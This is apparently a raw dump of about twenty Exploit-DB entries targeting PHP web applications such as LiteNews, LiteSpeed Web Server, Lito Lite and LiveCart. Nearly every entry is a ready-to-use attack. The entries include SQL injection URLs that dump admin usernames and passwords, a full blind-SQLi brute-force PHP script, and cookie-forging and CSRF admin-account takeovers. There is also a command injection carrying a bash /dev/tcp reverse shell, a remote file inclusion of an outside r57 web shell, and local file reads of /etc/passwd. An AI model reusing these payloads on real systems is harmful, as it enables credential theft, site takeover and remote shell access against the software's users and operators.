deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6207
Description: LiteNews 0.1 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-05
Author: Stack

Exploit:
litenews-01 <= 1.2 Remote sql injection
# Download   : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.html#download_locations
#                                                                                   #
#Injection Adress :  http://Sitename/litenew//index.php?mode=view&id=   code sql

you need to crypt the directory of settings.php with hex for see the user and password in line 16 & 17

C:\AppServ\www\litenew\settings.php = 0x433A5C[PII_REDACTED]72765C7777775C6C6974656E65775C[PII_REDACTED]6E67732E706870

http://Sitename/litenew//index.php?mode=view&id=-1%20union%20select%201,load_file(0x433A5C[PII_REDACTED]72765C7777775C6C6974656E65775C[PII_REDACTED]6E67732E706870),3,4,5/*

# milw0rm.com [2008-08-05]
Exploit-DB #6206
Description: LiteNews 0.1 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-08-05
Author: Scary-Boys

Exploit:
#########################################################################
#                                                                       #
#         litenews-01 <= 1.2 Insecure Cookie Handling Vulnerability     #
#                                                                       #
#########################################################################
#                                                                       #
# AUTHOR     : Scary-Boys						#
# HOME       : http://scary-boys.com					#
# Download   : http://webscripts.softpedia.com/scriptDownload/LiteNews-Download-43228.html#download_locations
#                                                                       #
#########################################################################
#                                                                       #
#     DorKs  : "Powered By litenews"         			        #
#                                                                       #
#########################################################################
#                                                                       #
#  DESCRIPTION :                                        		#
#  Maian Guestbook suffers from a insecure cookie                       #
# the admin panel only checks if the cookie exists. 		        #
#                                                                       #
#########################################################################
#                                                                       #
#  Vulnerability :                                                      #
#                                                                       #
#  javascript:document.cookie = "admin=1; path=/";                      #
#                                                                       #
#########################################################################
#                                                                       #
# after running the javascript, Go to "/admin/index.php" & Refresh      #
#                                                                       #
#########################################################################

# milw0rm.com [2008-08-05]
Exploit-DB #17528
Description: LiteRadius 3.2 - Multiple Blind SQL Injections
Type: webapps
Platform: php
Date: 2011-07-13
Author: Robert Cooper

Exploit:
# Exploit Title: LiteRadius <= 3.2 - Multiple Blind SQL Injection vulnerabilities
# Google Dork: allinurl: locator.php?long=
# Date: 7/12/2011
# Author: Robert Cooper (admin[at]websiteauditing.org)
# Software Link: http://www.escaperadius.com/er/products/literadius/lr.php
# Tested on: [Linux/Windows 7]
#Vulnerable Parameters: lat=, long=

##############################################################
PoC:

http://domain.com/dealer/locator.php?parsed_page=1&lat=25[PII_REDACTED]&long=[PII_REDACTED]34'
http://domain.com/dealer/locator.php?parsed_page=1&lat=25[PII_REDACTED]&long=[PII_REDACTED]34 and ascii(substring((SELECT concat(username,0x3a,password,0x3a,0x0a) FROM USERS limit 0,1),1,1))>80


##############################################################
www.websiteauditing.org
www.areyousecure.net

# Shouts to the Belegit crew
Exploit-DB #26535
Description: Litespeed 2.1.5 - 'ConfMgr.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-11-17
Author: Gama Sec

Exploit:
source: https://www.securityfocus.com/bid/15485/info

LiteSpeed Web Server is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com:7080/admin/config/confMgr.php?m=al_adminListener%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #11503
Description: Litespeed Web Server 4.0.12 - Cross-Site Request Forgery (Add Admin) / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-02-19
Author: d1dn0t

Exploit:
# Author: d1dn0t (didnot[at]me[dot]com)
# Software Link:
http://www.litespeedtech.com/litespeed-web-server-downloads.html
# Version: 4.0.12
# Greetz: Muts/Ryujin/Kernel_Saunders

[ 0x00 ] Product Description

LiteSpeed Web Server is the leading high-performance, high-scalability web
server. It is completely Apache interchangeable so LiteSpeed Web Server
can quickly replace a major bottleneck in your existing web delivery
platform. With its comprehensive range of features and easy-to-use
web administration console, LiteSpeed Web Server can help you
conquer the challenges of deploying an effective web serving architecture.

[ 0x01 ] Vulnerability Details

The Web based HTTP Admin interface is vulnerable to a CSRF exploit to
add additional admin users.
The admin interface also has XSS issues in the Notes field of the
Virtual Server configuration.

[ 0x02 ] Vulnerability Timeline

2010-02-04 Discovery
2010-02-04 Initial Disclosure to Vendor
2010-02-04 Vendor Response, fix in progress
2010-02-18 Vendor Fix Released

[ 0x03 ] Vulnerability

<form name="csrf" action="http://192.168.1.10:7080/config/confMgr.php"
method="post" target="hidden">
<input type="hidden" name="a" value="s" />
<input type="hidden" name="m" value="admin" />
<input type="hidden" name="p" value="security" />
<input type="hidden" name="t" value="`ADMIN_USR_NEW" />
<input type="hidden" name="r" value="" />
<input type="hidden" name="file_create" value="" />
<input type="hidden" name="name" value="owned" />
<input type="hidden" name="pass" value="password" />
<input type="hidden" name="pass1" value="password" />
</form>
Exploit-DB #49523
Description: LiteSpeed Web Server Enterprise 5.4.11 - Command Injection (Authenticated)
Type: webapps
Platform: php
Date: 2021-02-05
Author: SunCSR

Exploit:
# Exploit Title: LiteSpeed Web Server Enterprise 5.4.11 - Command Injection (Authenticated)
# Date: 05/20/2021
# Exploit Author: cmOs - SunCSR
# Vendor Homepage: https://www.litespeedtech.com/
# Software Link: https://www.litespeedtech.com/products
# Version: 5.4.11
# Ubuntu/Kali Linux


Step 1: Log in to the dashboard using the Administrator account.
Step 2 : Access Server Configuration > Server > External App > Edit
Step 3: Set "Start By Server *" Value to "Yes (Through CGI Daemon)
Step 4 : Inject payload "fcgi-bin/lsphp5/../../../../../bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'" to "Command" value
Step 5: Graceful Restart

[POC]

POST /config/confMgr.php HTTP/1.1
Host: 192.168.1.6:7080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:85.0) Gecko/20100101
Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*
;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
https://192.168.1.6:7080/config/confMgr.php?m=serv&p=ext&t=A_EXT_FCGI&r=file&a=E&tk=0.59220300%[PII_REDACTED]86
Content-Type: application/x-www-form-urlencoded
Content-Length: 505
Origin: https://192.168.1.6:7080
Connection: close
Cookie: LSWSWEBUI=85fa7ba9b37d18d57e41e092a2a2a61f;
lsws_uid=j%2FsI8GRiKBc%3D; lsws_pass=c7pC2izvdbQ%3D
Upgrade-Insecure-Requests: 1

name=file&address=127.0.0.1%3A5434&note=&maxConns=2000&env=&initTimeout=1&retryTimeout=1&persistConn=1&pcKeepAliveTimeout=20&respBuffer=0&autoStart=1&path=fcgi-bin%2Flsphp5%2F..%2F..%2F..%2F..%2F..%2Fbin%2Fbash+-c+%27bash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.6%2F1234+0%3E%261%27&backlog=&instances=&extUser=root&extGroup=root&umask=&runOnStartUp=3&extMaxIdleTime=&priority=&memSoftLimit=&memHardLimit=&procSoftLimit=&procHardLimit=&a=s&m=serv&p=ext&t=A_EXT_FCGI&r=file&tk=0.59220300[PII_REDACTED]&file_create=
Exploit-DB #25787
Description: LiteWEB Web Server 2.5 - Authentication Bypass
Type: webapps
Platform: php
Date: 2005-06-03
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/13850/info

LiteWeb Server is prone to a vulnerability that may let remote attackers bypass authentication.

The specific issue is inadequate sanitization of user-supplied requests. In particular, there is an error in the handling of slash characters '/\' that will allow remote users to access protected files. 

http://www.example.com/\admin\/login.html
http://www.example.com//admin//login.html
Exploit-DB #7650
Description: Lito Lite CMS - Multiple Cross-Site Scripting / Blind SQL Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2009-01-03
Author: darkjoker

Exploit:
#--+++===================================================================================+++--#
#--+++====== Lito Lite Multiple Cross Site Scripting / Blind SQL Injection Exploit ======+++--#
#--+++===================================================================================+++--#

[+] XSS
[+] comments.php?id=>[js code]
[+] postcomment.php?id=>[js code]

#!/usr/bin/php
<?

function query ($fld, $pos, $ord)
{
	$sql = "x' OR ASCII(SUBSTRING((SELECT {$fld} FROM mx_user WHERE uid = 1),{$pos},1))={$ord} OR '1' = '2";
	$sql = str_replace (" ", "%20", $sql);
	$sql = str_replace ("'", "%27", $sql);
	return $sql;
}
function check ($host, $path, $fld, $pos, $char)
{
	$fp = fsockopen ($host, 80);
	$char = ord ($char);

	$query = query ($fld, $pos, $char);

	$req =  "GET {$path}/content.php?id={$query} HTTP1.1\r\n".
		"Host: {$host}\r\n".
		"Connection: Close\r\n\r\n";

	fputs ($fp, $req);

	while (!feof ($fp))
		$cont .= trim (fgets ($fp, 1024));

	fclose ($fp);

	$x = array ();

	preg_match ("/<div id=\"wrapper\">(.+?)div>/", $cont, $x);

	if (strlen ($x [1]) == 2)
		return false;
	else
		return true;
}

function brute ($host, $path, $fld, $key)
{
	$pos = 1;
	$chr = 0;
	while ($chr < strlen ($key))
	{
		if (check ($host, $path, $fld, $pos, $key [$chr]))
		{
			$res .= $key [$chr];
			$chr = -1;
			$pos++;
		}
		$chr++;
	}
	return $res;
}

function usage ()
{
	echo "[+] Lito Lite Blind SQL Injection Exploit\n".
	     "[+] Author: darkjoker ~ http://darkjokerside.altervista.org ~ darkjoker93[at]gmail[dot]com\n".
	     "[+] Usage: php " . $argv [0] . " <hostname> <path> [key]\n".
	     "[+] Ex. php ". $argv [0] . " localhost /lito_lite abcdefghijklmnopqrstuvwxyz[PII_REDACTED]\n".
	     "[+] Greetz to athos, marco6\n";
	exit ();
}


if (count ($argv) < 3)
	usage ();

$host = $argv [1];
$path = $argv [2];
if (empty ($argv [3]))
	$key = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]";
else
	$key = $argv [3];

echo "[+] Username: " . brute ($host, $path, "username", $key) . "\n".
     "[+] Password: " . brute ($host, $path, "password", $key) . "\n";

?>

# milw0rm.com [2009-01-03]
Exploit-DB #15656
Description: LittlePhpGallery 1.0.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-12-01
Author: kire bozorge khavarmian

Exploit:
# Exploit Title: local file include / File Disclosure
# Date: 
# topic:littlePhpGallery
# Author: kire bozorge khavarmiane

# Software Link: http://brunetton.tuxfamily.org/progs/littlePhpGallery_1.0.2.tar.gz

# Version: 1.0.2

# Thanks:  shash pashe naneye decoder , kose tange ameye joker,az hame mohem tar kose r (joon bokonamet az koon)
------------------------------------------------
poc:
/littlePhpGallery_1.0.2/gallery.php?repertoire=..//..//..//..//kire khar
------------------------------------------------
Exploit-DB #34747
Description: LittleSite 0.1 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2014-09-23
Author: Eolas_Gadai

Exploit:
source: https://www.securityfocus.com/bid/43495/info

LittleSite is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

LittleSite 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/littlesite/index.php?file=../../../../etc/passwd
Exploit-DB #13911
Description: Live CMS - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-17
Author: ahwak2000

Exploit:
/*
[-] Live CMS SQL Injection Vulnerability [-]
---Date : 2010-06-17
---Author : ahwak2000
---Email : z.u5[at]hotmail.com
[-] Script Info [-]
---Home : http://live-space.ru
---Demo : http://demo.live-space.ru/index.php

[-] Vulnerability [-]

http://site.com/path//index.php?area=1&p=gallery&action=showimages&galid=[SQL INj]

[-] eXploit [-]

http://server/path/index.php?area=1&p=gallery&action=showimages&galid=1 UNION SELECT 1,2,3,4,CONCAT_WS(CHAR(32,58,32),uname,pass,email) from live_user--


[-] Greetz to [-]

To All Friends in V4-team Forums And pc.pirate

*/
Exploit-DB #6128
Description: Live Music Plus 1.1.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-07-24
Author: IRAQI

Exploit:
###############################################################
#################### i love abeer ####################
##
## Remote SQL injection Vulnerability
##
## Live Music Plus v1.1.0
##                            
###############################################################
###############################################################
##
## AuTh0r : IRAQI

##
##
##
## Email  : expl0it.zone@googlemail.com
##
##
########################
########################
##
## -[[: Exploite :]]-
##
## http://www.xxx.com/index.php?act=Singer&id=-1%20union%20select%200,concat(password,0x3a,username),2,3,4,5+from+users/*
##
## index.php?act=Singer&id=-1 UNION SELECT 1,password,3,4,5,6 FROM a5421577_db2.users--
##
########################
########################
 
1) Download script :  http://www.nersoft.com/
2) Passwords Md5
 
#############################################################################

# milw0rm.com [2008-07-24]
Exploit-DB #6404
Description: Live TV Script - 'index.php?mid' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-09
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 


=======================================================
++++++++++++++++++++ Script information++++++++++++++++++++++
=======================================================


<<->> script      : live-tv-script

<<->> script site : www.livetvscript.com                 



=======================================================
++++++++++++++++++++++++ Exploit +++++++++++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>

          >>>> www.site.me/patch/index.php?mid=-99999+union+select+0,unhex(hex(concat(uid,0x3a,pwd))),0,0+from+admin/*


=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->>  freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                           anaconda-ksa $ sirus $ br1ght-dark  $ Golden-zero $ crazy-x 
                    

<<->> InjEctOr5 TeaM freinds  :: abo-najm $ Eng.Silent Night  $ spid3r-net $ hacker-b0y $ qalbhamad $ Mr.Dangers - RooT-HacKer - 07 - fisher - ToTal



<<->> All muslims

# milw0rm.com [2008-09-09]
Exploit-DB #10962
Description: Live TV Script - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-03
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: Live TV script suffer from remote sql injection
[~] Vendor: livetvscript.com
[?] Software: Live TV script
[-]
[?] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?] Date: 3.Jan.2010
[?] T!ME: 03:55 am GMT
[?] Home: WwW.xP10.ME
[?]
[?]
[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[*] Err0r C0N50L3:


http://server/p47h/index.php?mid={EV!L EXPLO!T}

[~] {EV!L EXPLO!T}:

-666+union+all+select+1,@@version,3,4+from+admin--



N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !




[~]-----------------------------{((Angela Bennett))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--JUPA-aNd-Devil ro0t : Goo Goo Cs Tiroo

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #4503
Description: LiveAlbum 0.9.0 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-08
Author: S.W.A.T.

Exploit:
                      \\\|///
                    \\  - -  //      Xmors Underground Group
                     (  @ @ )
              ----oOOo--(_)-oOOo--------------------------------------------------
              Portal   :  LiveAlbum 0.9.0
              Download :  http://downloads.sourceforge.net/livealbum/livealbum-0.9.1.tar.bz2
	      Author   :  S.W.A.T.
	      HomePage :  wWw.XmorS.CoM
	      Type     :  Remote File Inclusion
              ----ooooO-----Ooooo--------------------------------------------------
                  (   )     (   )
                   \ (       ) /
                    \_)     (_/



+---------------------------------------------------------------------------------------------+

Vuln :

http://[TARGET]/[PATH]/common.php?livealbum_dir=http://xmors.by.ry/r57.php?


+---------------------------------------------------------------------------------------------+

# milw0rm.com [2007-10-08]
Exploit-DB #30967
Description: LiveCart 1.0.1 - 'email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-31
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27087/info
   
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/user/remindComplete?email=XSS
Exploit-DB #30965
Description: LiveCart 1.0.1 - 'q' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-12-31
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27087/info
 
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/category?id=1&q=XSS
Exploit-DB #30964
Description: LiveCart 1.0.1 - 'return' Cross-Site Scripting (1)
Type: webapps
Platform: php
Date: 2007-12-31
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27087/info

LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/user/remindPassword?return=XSS
Exploit-DB #30966
Description: LiveCart 1.0.1 - 'return' Cross-Site Scripting (2)
Type: webapps
Platform: php
Date: 2007-12-31
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/27087/info
  
LiveCart is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
LiveCart 1.0.1 is vulnerable to these issues; other versions may also be affected. 

http://www.example.com/order?return=order/XSS